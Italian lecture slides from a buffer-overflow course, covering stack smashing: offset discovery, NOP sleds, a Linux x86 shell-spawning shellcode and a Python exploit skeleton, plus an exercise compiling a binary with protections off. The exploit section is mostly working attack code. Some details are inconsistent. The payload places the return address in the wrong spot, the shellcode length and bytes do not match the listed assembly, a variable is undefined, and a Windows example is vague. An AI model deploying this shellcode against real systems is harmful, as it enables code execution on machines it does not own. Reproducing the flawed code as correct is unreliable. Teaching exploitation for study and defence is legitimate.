Cybersecurity: Buffer Overflow

Lezione 2: Stack Smashing e Sfruttamento Base

Recap Lezione 1

- Memory layout: stack, heap, data, text
- Stack frame: buffer | EBP | RET
- Obiettivo: sovrascrivere RET

Identificare l'Offset

Pattern Generation

```
msf-pattern_create -l 200
msf-pattern_offset -q 41304141
```

Tentativi Empirici

Mandare buffer crescenti (100, 150, 200) e osservare crash.

NOP Sled

```
[ NOP (0x90) * N ][shellcode][indirizzo]
```

- NOP slide facilita il salto
- L'indirizzo punta dentro lo sled

Shellcode Injection

Shellcode = codice macchina iniettato

Esempio x86 (Linux, 25 byte):

```
xor eax, eax
push eax
push 0x68732f2f   ; "//sh"
push 0x6e69622f   ; "/bin"
mov ebx, esp
mov al, 0x0b
int 0x80
```

Python Exploit Skeleton

```
import struct, os

offset = 140
nop = b"\x90" * 100
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
ret = struct.pack("<I", 0xbffff2c0)  # indirizzo stack
payload = b"A" * offset + nop + shellcode + ret
os.write(pipe, payload)
```

Windows: DilDog's Tao

- Sfruttava DLL di sistema
- IP del C2 offuscato con XOR
- Exploit di soli 112 byte

Verifica

Usare GDB:

- break su `strcpy`
- esaminare stack arrangement
- trovare indirizzo del buffer

Errori Comuni

- Offset sbagliato → crash non controllato
- Shellcode con null byte → interrotto da `strcpy`
- Indirizzo errato → salto a zona non valida

Summary

1. Trovare offset
2. Preparare NOP sled + shellcode
3. Sovrascrivere RET con indirizzo nello sled

Esercizio

Testare l'exploit su binario senza protezioni:

```
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
```

Ottenereshell.

Cybersecurity: Buffer Overflow – Pinolallo.com